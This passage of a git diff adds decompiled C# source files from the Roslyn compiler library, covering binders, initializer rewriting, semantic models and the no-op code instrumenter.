(SymbolKind)(((object)newSymbol == null) ? 13 : ((int)newSymbol.Kind)); + if ((int)val == 4) + { + return true; + } + if ((int)kind == 13) + { + if ((int)val != 8) + { + if ((int)val != 9) + { + switch (val - 13) + { + case 0: + break; + case 4: + return false; + case 3: + diagnostics.Add(ErrorCode.ERR_QueryRangeVariableOverrides, newLocation, name); + return true; + default: + goto IL_008f; + } + } + else if ((int)((MethodSymbol)newSymbol).MethodKind != 17) + { + goto IL_008f; + } + } + diagnostics.Add(ErrorCode.ERR_LocalIllegallyOverrides, newLocation, name); + return true; + } + goto IL_008f; + IL_0103: + diagnostics.Add(ErrorCode.ERR_InternalError, newLocation); + return true; + IL_008f: + if ((int)kind == 17) + { + if ((int)val != 8) + { + if ((int)val != 9) + { + switch (val - 13) + { + case 0: + break; + case 4: + return false; + case 3: + diagnostics.Add(ErrorCode.ERR_QueryRangeVariableSameAsTypeParam, newLocation, name); + return true; + default: + goto IL_0103; + } + } + else if ((int)((MethodSymbol)newSymbol).MethodKind != 17) + { + goto IL_0103; + } + } + diagnostics.Add(ErrorCode.ERR_LocalSameNameAsTypeParam, newLocation, name); + return true; + } + goto IL_0103; + } + + internal override bool EnsureSingleDefinition(Symbol symbol, string name, Location location, BindingDiagnosticBag diagnostics) + { + ImmutableArray parameters = _methodSymbol.Parameters; + ImmutableArray typeParameters = _methodSymbol.TypeParameters; + if (parameters.IsEmpty && typeParameters.IsEmpty) + { + return false; + } + SmallDictionary val = _lazyDefinitionMap; + if (val == null) + { + val = new SmallDictionary(); + RecordDefinition(val, parameters); + RecordDefinition(val, typeParameters); + _lazyDefinitionMap = val; + } + Symbol parameter = default(Symbol); + if (val.TryGetValue(name, ref parameter)) + { + return ReportConflictWithParameter(parameter, symbol, name, location, diagnostics); + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InSubmissionClassBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InSubmissionClassBinder.cs new file mode 100644 index 0000000..b8d7f14 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InSubmissionClassBinder.cs @@ -0,0 +1,60 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class InSubmissionClassBinder : InContainerBinder +{ + private readonly CompilationUnitSyntax _declarationSyntax; + + private readonly bool _inUsings; + + private QuickAttributeChecker? _lazyQuickAttributeChecker; + + internal override ImmutableArray ExternAliases => ((SourceNamespaceSymbol)base.Compilation.SourceModule.GlobalNamespace).GetExternAliases(_declarationSyntax); + + internal override ImmutableArray UsingAliases => ((SourceNamespaceSymbol)base.Compilation.SourceModule.GlobalNamespace).GetUsingAliases(_declarationSyntax, null); + + internal override QuickAttributeChecker QuickAttributeChecker + { + get + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + if (_lazyQuickAttributeChecker == null) + { + QuickAttributeChecker quickAttributeChecker = base.Next.QuickAttributeChecker; + quickAttributeChecker = quickAttributeChecker.AddAliasesIfAny(_declarationSyntax.Usings); + _lazyQuickAttributeChecker = quickAttributeChecker; + } + return _lazyQuickAttributeChecker; + } + } + + internal InSubmissionClassBinder(NamedTypeSymbol submissionClass, Binder next, CompilationUnitSyntax declarationSyntax, bool inUsings) + : base(submissionClass, next) + { + _declarationSyntax = declarationSyntax; + _inUsings = inUsings; + } + + internal override void GetCandidateExtensionMethods(ArrayBuilder methods, string name, int arity, LookupOptions options, Binder originalBinder) + { + for (CSharpCompilation cSharpCompilation = base.Compilation; cSharpCompilation != null; cSharpCompilation = cSharpCompilation.PreviousSubmission) + { + cSharpCompilation.ScriptClass?.GetExtensionMethods(methods, name, arity, options); + } + } + + internal override void LookupSymbolsInSingleBinder(LookupResult result, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + LookupMembersInSubmissions(result, (NamedTypeSymbol)base.Container, _declarationSyntax, _inUsings, name, arity, basesBeingResolved, options, originalBinder, diagnose, ref useSiteInfo); + } + + internal override void AddLookupSymbolsInfoInSingleBinder(LookupSymbolsInfo result, LookupOptions options, Binder originalBinder) + { + AddMemberLookupSymbolsInfoInSubmissions(result, (NamedTypeSymbol)base.Container, _inUsings, options, originalBinder); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InferredLambdaReturnType.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InferredLambdaReturnType.cs new file mode 100644 index 0000000..8bbd7cc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InferredLambdaReturnType.cs @@ -0,0 +1,37 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct InferredLambdaReturnType +{ + internal readonly int NumExpressions; + + internal readonly bool IsExplicitType; + + internal readonly bool HadExpressionlessReturn; + + internal readonly RefKind RefKind; + + internal readonly TypeWithAnnotations TypeWithAnnotations; + + internal readonly bool InferredFromFunctionType; + + internal readonly ImmutableArray UseSiteDiagnostics; + + internal readonly ImmutableArray Dependencies; + + internal InferredLambdaReturnType(int numExpressions, bool isExplicitType, bool hadExpressionlessReturn, RefKind refKind, TypeWithAnnotations typeWithAnnotations, bool inferredFromFunctionType, ImmutableArray useSiteDiagnostics, ImmutableArray dependencies) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + NumExpressions = numExpressions; + IsExplicitType = isExplicitType; + HadExpressionlessReturn = hadExpressionlessReturn; + RefKind = refKind; + TypeWithAnnotations = typeWithAnnotations; + InferredFromFunctionType = inferredFromFunctionType; + UseSiteDiagnostics = useSiteDiagnostics; + Dependencies = dependencies; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InitializerRewriter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InitializerRewriter.cs new file mode 100644 index 0000000..ecaa3ab --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InitializerRewriter.cs @@ -0,0 +1,101 @@ +using System; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class InitializerRewriter +{ + internal static BoundTypeOrInstanceInitializers RewriteConstructor(ImmutableArray boundInitializers, MethodSymbol method) + { + return new BoundTypeOrInstanceInitializers((SyntaxNode)(object)((method is SourceMemberMethodSymbol sourceMemberMethodSymbol) ? sourceMemberMethodSymbol.SyntaxNode : method.GetNonNullSyntaxNode()), ImmutableArrayExtensions.SelectAsArray(boundInitializers, (Func)RewriteInitializersAsStatements)); + } + + internal static BoundTypeOrInstanceInitializers RewriteScriptInitializer(ImmutableArray boundInitializers, SynthesizedInteractiveInitializerMethod method, out bool hasTrailingExpression) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(boundInitializers.Length); + bool flag = (object)method.ResultType != null; + BoundStatement boundStatement = null; + BoundExpression boundExpression = null; + ImmutableArray.Enumerator enumerator = boundInitializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundInitializer current = enumerator.Current; + if (flag && current == boundInitializers.Last() && current.Kind == BoundKind.GlobalStatementInitializer && method.DeclaringCompilation.IsSubmissionSyntaxTree(current.SyntaxTree)) + { + boundStatement = ((BoundGlobalStatementInitializer)current).Statement; + BoundExpression trailingScriptExpression = GetTrailingScriptExpression(boundStatement); + if (trailingScriptExpression != null && (object)trailingScriptExpression.Type != null && !trailingScriptExpression.Type.IsVoidType()) + { + boundExpression = trailingScriptExpression; + continue; + } + } + instance.Add(RewriteInitializersAsStatements(current)); + } + if (flag && boundExpression != null) + { + instance.Add((BoundStatement)new BoundReturnStatement(boundStatement.Syntax, (RefKind)0, boundExpression, @checked: false)); + hasTrailingExpression = true; + } + else + { + hasTrailingExpression = false; + } + return new BoundTypeOrInstanceInitializers((SyntaxNode)(object)method.GetNonNullSyntaxNode(), instance.ToImmutableAndFree()); + } + + internal static BoundExpression GetTrailingScriptExpression(BoundStatement statement) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + if (statement.Kind == BoundKind.ExpressionStatement) + { + SyntaxToken semicolonToken = ((ExpressionStatementSyntax)(object)statement.Syntax).SemicolonToken; + if (((SyntaxToken)(ref semicolonToken)).IsMissing) + { + return ((BoundExpressionStatement)statement).Expression; + } + } + return null; + } + + private static BoundStatement RewriteFieldInitializer(BoundFieldEqualsValue fieldInit) + { + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Invalid comparison between Unknown and I4 + FieldSymbol field = fieldInit.Field; + SyntaxNode syntax = fieldInit.Syntax; + syntax = (SyntaxNode)(((object)(syntax as EqualsValueClauseSyntax)?.Value) ?? ((object)syntax)); + BoundThisReference receiver = (field.IsStatic ? null : new BoundThisReference(syntax, field.ContainingType)); + BoundStatement boundStatement = new BoundExpressionStatement(syntax, new BoundAssignmentOperator(syntax, new BoundFieldAccess(syntax, receiver, field, null), fieldInit.Value, field.Type, (int)field.RefKind > 0) + { + WasCompilerGenerated = true + }) + { + WasCompilerGenerated = (!fieldInit.Locals.IsEmpty || fieldInit.WasCompilerGenerated) + }; + if (!fieldInit.Locals.IsEmpty) + { + boundStatement = new BoundBlock(syntax, fieldInit.Locals, ImmutableArray.Create(boundStatement)) + { + WasCompilerGenerated = fieldInit.WasCompilerGenerated + }; + } + return boundStatement; + } + + private static BoundStatement RewriteInitializersAsStatements(BoundInitializer initializer) + { + return initializer.Kind switch + { + BoundKind.FieldEqualsValue => RewriteFieldInitializer((BoundFieldEqualsValue)initializer), + BoundKind.GlobalStatementInitializer => ((BoundGlobalStatementInitializer)initializer).Statement, + _ => throw ExceptionUtilities.UnexpectedValue((object)initializer.Kind), + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InitializerSemanticModel.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InitializerSemanticModel.cs new file mode 100644 index 0000000..7b7301c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InitializerSemanticModel.cs @@ -0,0 +1,228 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class InitializerSemanticModel : MemberSemanticModel +{ + internal InitializerSemanticModel(CSharpSyntaxNode syntax, Symbol symbol, Binder rootBinder, PublicSemanticModel containingPublicSemanticModel, ImmutableDictionary parentRemappedSymbolsOpt = null) + : base(syntax, symbol, rootBinder, containingPublicSemanticModel, parentRemappedSymbolsOpt) + { + } + + internal static InitializerSemanticModel Create(SyntaxTreeSemanticModel containingSemanticModel, CSharpSyntaxNode syntax, FieldSymbol fieldSymbol, Binder rootBinder) + { + return new InitializerSemanticModel(syntax, fieldSymbol, rootBinder, containingSemanticModel); + } + + internal static InitializerSemanticModel Create(SyntaxTreeSemanticModel containingSemanticModel, CSharpSyntaxNode syntax, PropertySymbol propertySymbol, Binder rootBinder) + { + return new InitializerSemanticModel(syntax, propertySymbol, rootBinder, containingSemanticModel); + } + + internal static InitializerSemanticModel Create(PublicSemanticModel containingSemanticModel, ParameterSyntax syntax, ParameterSymbol parameterSymbol, Binder rootBinder, ImmutableDictionary parentRemappedSymbolsOpt) + { + return new InitializerSemanticModel(syntax, parameterSymbol, rootBinder, containingSemanticModel, parentRemappedSymbolsOpt); + } + + internal static SpeculativeSemanticModelWithMemberModel CreateSpeculative(SyntaxTreeSemanticModel parentSemanticModel, Symbol owner, EqualsValueClauseSyntax syntax, Binder rootBinder, ImmutableDictionary parentRemappedSymbolsOpt, int position) + { + return new SpeculativeSemanticModelWithMemberModel(parentSemanticModel, position, owner, syntax, rootBinder, parentRemappedSymbolsOpt); + } + + protected internal override CSharpSyntaxNode GetBindableSyntaxNode(CSharpSyntaxNode node) + { + if (!IsBindableInitializer(node)) + { + return base.GetBindableSyntaxNode(node); + } + return node; + } + + internal override BoundNode GetBoundRoot() + { + CSharpSyntaxNode root = Root; + return GetUpperBoundNode(GetBindableSyntaxNode(root.Kind() switch + { + SyntaxKind.VariableDeclarator => ((VariableDeclaratorSyntax)root).Initializer, + SyntaxKind.Parameter => ((ParameterSyntax)root).Default, + SyntaxKind.EqualsValueClause => (EqualsValueClauseSyntax)root, + SyntaxKind.EnumMemberDeclaration => ((EnumMemberDeclarationSyntax)root).EqualsValue, + SyntaxKind.PropertyDeclaration => ((PropertyDeclarationSyntax)root).Initializer, + _ => throw ExceptionUtilities.UnexpectedValue((object)root.Kind()), + })); + } + + internal override BoundNode Bind(Binder binder, CSharpSyntaxNode node, BindingDiagnosticBag diagnostics) + { + EqualsValueClauseSyntax equalsValueClauseSyntax = null; + switch (node.Kind()) + { + case SyntaxKind.EqualsValueClause: + equalsValueClauseSyntax = (EqualsValueClauseSyntax)node; + break; + case SyntaxKind.VariableDeclarator: + equalsValueClauseSyntax = ((VariableDeclaratorSyntax)node).Initializer; + break; + case SyntaxKind.PropertyDeclaration: + equalsValueClauseSyntax = ((PropertyDeclarationSyntax)node).Initializer; + break; + case SyntaxKind.Parameter: + equalsValueClauseSyntax = ((ParameterSyntax)node).Default; + break; + case SyntaxKind.EnumMemberDeclaration: + equalsValueClauseSyntax = ((EnumMemberDeclarationSyntax)node).EqualsValue; + break; + } + if (equalsValueClauseSyntax != null) + { + return BindEqualsValue(binder, equalsValueClauseSyntax, diagnostics); + } + return base.Bind(binder, node, diagnostics); + } + + private BoundEqualsValue BindEqualsValue(Binder binder, EqualsValueClauseSyntax equalsValue, BindingDiagnosticBag diagnostics) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = base.MemberSymbol.Kind; + if ((int)kind != 6) + { + if ((int)kind != 13) + { + if ((int)kind == 15) + { + SourcePropertySymbol sourcePropertySymbol = (SourcePropertySymbol)base.MemberSymbol; + BoundFieldEqualsValue boundFieldEqualsValue = binder.BindFieldInitializer(sourcePropertySymbol.BackingField, equalsValue, diagnostics); + return new BoundPropertyEqualsValue(boundFieldEqualsValue.Syntax, sourcePropertySymbol, boundFieldEqualsValue.Locals, boundFieldEqualsValue.Value); + } + throw ExceptionUtilities.UnexpectedValue((object)base.MemberSymbol.Kind); + } + ParameterSymbol parameter = (ParameterSymbol)base.MemberSymbol; + BoundExpression valueBeforeConversion; + return binder.BindParameterDefaultValue(equalsValue, parameter, diagnostics, out valueBeforeConversion); + } + FieldSymbol fieldSymbol = (FieldSymbol)base.MemberSymbol; + if (fieldSymbol is SourceEnumConstantSymbol symbol) + { + return binder.BindEnumConstantInitializer(symbol, equalsValue, diagnostics); + } + return binder.BindFieldInitializer(fieldSymbol, equalsValue, diagnostics); + } + + private bool IsBindableInitializer(CSharpSyntaxNode node) + { + if (node.Kind() == SyntaxKind.EqualsValueClause) + { + if (Root != node) + { + return Root == node.Parent; + } + return true; + } + return false; + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, EqualsValueClauseSyntax initializer, out PublicSemanticModel speculativeModel) + { + Binder enclosingBinder = GetEnclosingBinder(position); + if (enclosingBinder == null) + { + speculativeModel = null; + return false; + } + enclosingBinder = new ExecutableCodeBinder((SyntaxNode)(object)initializer, enclosingBinder.ContainingMemberOrLambda, enclosingBinder); + speculativeModel = CreateSpeculative(parentModel, base.MemberSymbol, initializer, enclosingBinder, GetRemappedSymbols(), position); + return true; + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, ConstructorInitializerSyntax constructorInitializer, out PublicSemanticModel speculativeModel) + { + speculativeModel = null; + return false; + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, PrimaryConstructorBaseTypeSyntax constructorInitializer, out PublicSemanticModel speculativeModel) + { + speculativeModel = null; + return false; + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, ArrowExpressionClauseSyntax expressionBody, out PublicSemanticModel speculativeModel) + { + speculativeModel = null; + return false; + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, StatementSyntax statement, out PublicSemanticModel speculativeModel) + { + speculativeModel = null; + return false; + } + + internal override bool TryGetSpeculativeSemanticModelForMethodBodyCore(SyntaxTreeSemanticModel parentModel, int position, BaseMethodDeclarationSyntax method, out PublicSemanticModel speculativeModel) + { + speculativeModel = null; + return false; + } + + internal override bool TryGetSpeculativeSemanticModelForMethodBodyCore(SyntaxTreeSemanticModel parentModel, int position, AccessorDeclarationSyntax accessor, out PublicSemanticModel speculativeModel) + { + speculativeModel = null; + return false; + } + + protected override BoundNode RewriteNullableBoundNodesWithSnapshots(BoundNode boundRoot, Binder binder, DiagnosticBag diagnostics, bool createSnapshots, out NullableWalker.SnapshotManager snapshotManager, ref ImmutableDictionary remappedSymbols) + { + return NullableWalker.AnalyzeAndRewrite(Compilation, base.MemberSymbol, boundRoot, binder, null, diagnostics, createSnapshots, out snapshotManager, ref remappedSymbols); + } + + protected override void AnalyzeBoundNodeNullability(BoundNode boundRoot, Binder binder, DiagnosticBag diagnostics, bool createSnapshots) + { + NullableWalker.AnalyzeWithoutRewrite(Compilation, base.MemberSymbol, boundRoot, binder, diagnostics, createSnapshots); + } + + protected override bool IsNullableAnalysisEnabled() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = base.MemberSymbol.Kind; + if ((int)kind != 6) + { + if ((int)kind == 13) + { + SyntaxNode defaultValueSyntaxForIsNullableAnalysisEnabled = SourceComplexParameterSymbolBase.GetDefaultValueSyntaxForIsNullableAnalysisEnabled(Root as ParameterSyntax); + if (defaultValueSyntaxForIsNullableAnalysisEnabled != null) + { + return Compilation.IsNullableAnalysisEnabledIn(defaultValueSyntaxForIsNullableAnalysisEnabled); + } + return false; + } + if ((int)kind != 15) + { + throw ExceptionUtilities.UnexpectedValue((object)base.MemberSymbol.Kind); + } + } + if (base.MemberSymbol.ContainingType is SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol) + { + return sourceMemberContainerTypeSymbol.IsNullableEnabledForConstructorsAndInitializers(base.MemberSymbol.IsStatic); + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InstrumentationState.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InstrumentationState.cs new file mode 100644 index 0000000..655c1a0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InstrumentationState.cs @@ -0,0 +1,26 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class InstrumentationState +{ + public bool IsSuppressed { get; set; } + + public Instrumenter Instrumenter { get; set; } = Microsoft.CodeAnalysis.CSharp.Instrumenter.NoOp; + + public void RemoveCodeCoverageInstrumenter() + { + Instrumenter = recurse(Instrumenter); + static Instrumenter recurse(Instrumenter instrumenter) + { + if (instrumenter is CodeCoverageInstrumenter codeCoverageInstrumenter) + { + Instrumenter previous = codeCoverageInstrumenter.Previous; + return recurse(previous); + } + if (instrumenter is CompoundInstrumenter compoundInstrumenter) + { + return compoundInstrumenter.WithPrevious(recurse(compoundInstrumenter.Previous)); + } + return instrumenter; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Instrumenter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Instrumenter.cs new file mode 100644 index 0000000..ed5df9e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Instrumenter.cs @@ -0,0 +1,211 @@ +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Shared.Collections; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class Instrumenter +{ + public static readonly Instrumenter NoOp = new Instrumenter(); + + private static BoundStatement InstrumentStatement(BoundStatement original, BoundStatement rewritten) + { + return rewritten; + } + + public virtual BoundStatement InstrumentNoOpStatement(BoundNoOpStatement original, BoundStatement rewritten) + { + return InstrumentStatement(original, rewritten); + } + + public virtual BoundStatement InstrumentYieldBreakStatement(BoundYieldBreakStatement original, BoundStatement rewritten) + { + return rewritten; + } + + public virtual BoundStatement InstrumentYieldReturnStatement(BoundYieldReturnStatement original, BoundStatement rewritten) + { + return InstrumentStatement(original, rewritten); + } + + public virtual void PreInstrumentBlock(BoundBlock original, LocalRewriter rewriter) + { + } + + public virtual void InstrumentBlock(BoundBlock original, LocalRewriter rewriter, ref TemporaryArray additionalLocals, out BoundStatement? prologue, out BoundStatement? epilogue, out BoundBlockInstrumentation? instrumentation) + { + prologue = null; + epilogue = null; + instrumentation = null; + } + + public virtual BoundStatement InstrumentThrowStatement(BoundThrowStatement original, BoundStatement rewritten) + { + return InstrumentStatement(original, rewritten); + } + + public virtual BoundStatement InstrumentContinueStatement(BoundContinueStatement original, BoundStatement rewritten) + { + return InstrumentStatement(original, rewritten); + } + + public virtual BoundStatement InstrumentGotoStatement(BoundGotoStatement original, BoundStatement rewritten) + { + return InstrumentStatement(original, rewritten); + } + + public virtual BoundStatement InstrumentExpressionStatement(BoundExpressionStatement original, BoundStatement rewritten) + { + return InstrumentStatement(original, rewritten); + } + + public virtual BoundStatement InstrumentFieldOrPropertyInitializer(BoundStatement original, BoundStatement rewritten) + { + return InstrumentStatement(original, rewritten); + } + + public virtual BoundStatement InstrumentBreakStatement(BoundBreakStatement original, BoundStatement rewritten) + { + return InstrumentStatement(original, rewritten); + } + + public virtual BoundExpression InstrumentDoStatementCondition(BoundDoStatement original, BoundExpression rewrittenCondition, SyntheticBoundNodeFactory factory) + { + return rewrittenCondition; + } + + public virtual BoundExpression InstrumentWhileStatementCondition(BoundWhileStatement original, BoundExpression rewrittenCondition, SyntheticBoundNodeFactory factory) + { + return rewrittenCondition; + } + + public virtual BoundStatement InstrumentDoStatementConditionalGotoStart(BoundDoStatement original, BoundStatement ifConditionGotoStart) + { + return ifConditionGotoStart; + } + + public virtual BoundStatement InstrumentWhileStatementConditionalGotoStartOrBreak(BoundWhileStatement original, BoundStatement ifConditionGotoStart) + { + return ifConditionGotoStart; + } + + [return: NotNullIfNotNull("collectionVarDecl")] + public virtual BoundStatement? InstrumentForEachStatementCollectionVarDeclaration(BoundForEachStatement original, BoundStatement? collectionVarDecl) + { + return collectionVarDecl; + } + + public virtual BoundStatement InstrumentForEachStatement(BoundForEachStatement original, BoundStatement rewritten) + { + return InstrumentStatement(original, rewritten); + } + + public virtual BoundStatement InstrumentForEachStatementIterationVarDeclaration(BoundForEachStatement original, BoundStatement iterationVarDecl) + { + return iterationVarDecl; + } + + public virtual BoundStatement InstrumentForEachStatementDeconstructionVariablesDeclaration(BoundForEachStatement original, BoundStatement iterationVarDecl) + { + return iterationVarDecl; + } + + public virtual BoundStatement InstrumentForEachStatementConditionalGotoStart(BoundForEachStatement original, BoundStatement branchBack) + { + return branchBack; + } + + public virtual BoundStatement InstrumentForStatementConditionalGotoStartOrBreak(BoundForStatement original, BoundStatement branchBack) + { + return branchBack; + } + + public virtual BoundExpression InstrumentForStatementCondition(BoundForStatement original, BoundExpression rewrittenCondition, SyntheticBoundNodeFactory factory) + { + return rewrittenCondition; + } + + public virtual BoundStatement InstrumentIfStatement(BoundIfStatement original, BoundStatement rewritten) + { + return InstrumentStatement(original, rewritten); + } + + public virtual BoundExpression InstrumentIfStatementCondition(BoundIfStatement original, BoundExpression rewrittenCondition, SyntheticBoundNodeFactory factory) + { + return rewrittenCondition; + } + + public virtual BoundStatement InstrumentLabelStatement(BoundLabeledStatement original, BoundStatement rewritten) + { + return InstrumentStatement(original, rewritten); + } + + public virtual BoundStatement InstrumentUserDefinedLocalInitialization(BoundLocalDeclaration original, BoundStatement rewritten) + { + return InstrumentStatement(original, rewritten); + } + + public virtual BoundExpression InstrumentUserDefinedLocalAssignment(BoundAssignmentOperator original) + { + return original; + } + + public virtual BoundExpression InstrumentCall(BoundCall original, BoundExpression rewritten) + { + return rewritten; + } + + public virtual BoundExpression InstrumentObjectCreationExpression(BoundObjectCreationExpression original, BoundExpression rewritten) + { + return rewritten; + } + + public virtual BoundExpression InstrumentFunctionPointerInvocation(BoundFunctionPointerInvocation original, BoundExpression rewritten) + { + return rewritten; + } + + public virtual BoundStatement InstrumentLockTargetCapture(BoundLockStatement original, BoundStatement lockTargetCapture) + { + return lockTargetCapture; + } + + public virtual BoundStatement InstrumentReturnStatement(BoundReturnStatement original, BoundStatement rewritten) + { + return rewritten; + } + + public virtual BoundStatement InstrumentSwitchStatement(BoundSwitchStatement original, BoundStatement rewritten) + { + return InstrumentStatement(original, rewritten); + } + + public virtual BoundStatement InstrumentSwitchWhenClauseConditionalGotoBody(BoundExpression original, BoundStatement ifConditionGotoBody) + { + return ifConditionGotoBody; + } + + public virtual BoundStatement InstrumentUsingTargetCapture(BoundUsingStatement original, BoundStatement usingTargetCapture) + { + return usingTargetCapture; + } + + public virtual void InstrumentCatchBlock(BoundCatchBlock original, ref BoundExpression? rewrittenSource, ref BoundStatementList? rewrittenFilterPrologue, ref BoundExpression? rewrittenFilter, ref BoundBlock rewrittenBody, ref TypeSymbol? rewrittenType, SyntheticBoundNodeFactory factory) + { + } + + public virtual BoundExpression InstrumentSwitchStatementExpression(BoundStatement original, BoundExpression rewrittenExpression, SyntheticBoundNodeFactory factory) + { + return rewrittenExpression; + } + + public virtual BoundExpression InstrumentSwitchExpressionArmExpression(BoundExpression original, BoundExpression rewrittenExpression, SyntheticBoundNodeFactory factory) + { + return rewrittenExpression; + } + + public virtual BoundStatement InstrumentSwitchBindCasePatternVariables(BoundStatement bindings) + { + return bindings; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InterpolatedStringHandlerData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InterpolatedStringHandlerData.cs new file mode 100644 index 0000000..3da7046 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/InterpolatedStringHandlerData.cs @@ -0,0 +1,49 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct InterpolatedStringHandlerData +{ + public readonly TypeSymbol BuilderType; + + public readonly BoundExpression Construction; + + public readonly bool UsesBoolReturns; + + public readonly ImmutableArray ArgumentPlaceholders; + + public readonly ImmutableArray> PositionInfo; + + public readonly BoundInterpolatedStringHandlerPlaceholder ReceiverPlaceholder; + + public bool HasTrailingHandlerValidityParameter + { + get + { + if (ArgumentPlaceholders.Length > 0) + { + ImmutableArray argumentPlaceholders = ArgumentPlaceholders; + return argumentPlaceholders[argumentPlaceholders.Length - 1].ArgumentIndex == -2; + } + return false; + } + } + + public bool IsDefault => Construction == null; + + public InterpolatedStringHandlerData(TypeSymbol builderType, BoundExpression construction, bool usesBoolReturns, ImmutableArray placeholders, ImmutableArray> positionInfo, BoundInterpolatedStringHandlerPlaceholder receiverPlaceholder) + { + BuilderType = builderType; + Construction = construction; + UsesBoolReturns = usesBoolReturns; + ArgumentPlaceholders = placeholders; + PositionInfo = positionInfo; + ReceiverPlaceholder = receiverPlaceholder; + } + + public BoundObjectCreationExpression GetValidConstructor() + { + return (BoundObjectCreationExpression)Construction; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IteratorAndAsyncCaptureWalker.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IteratorAndAsyncCaptureWalker.cs new file mode 100644 index 0000000..f19ca83 --- /dev/null 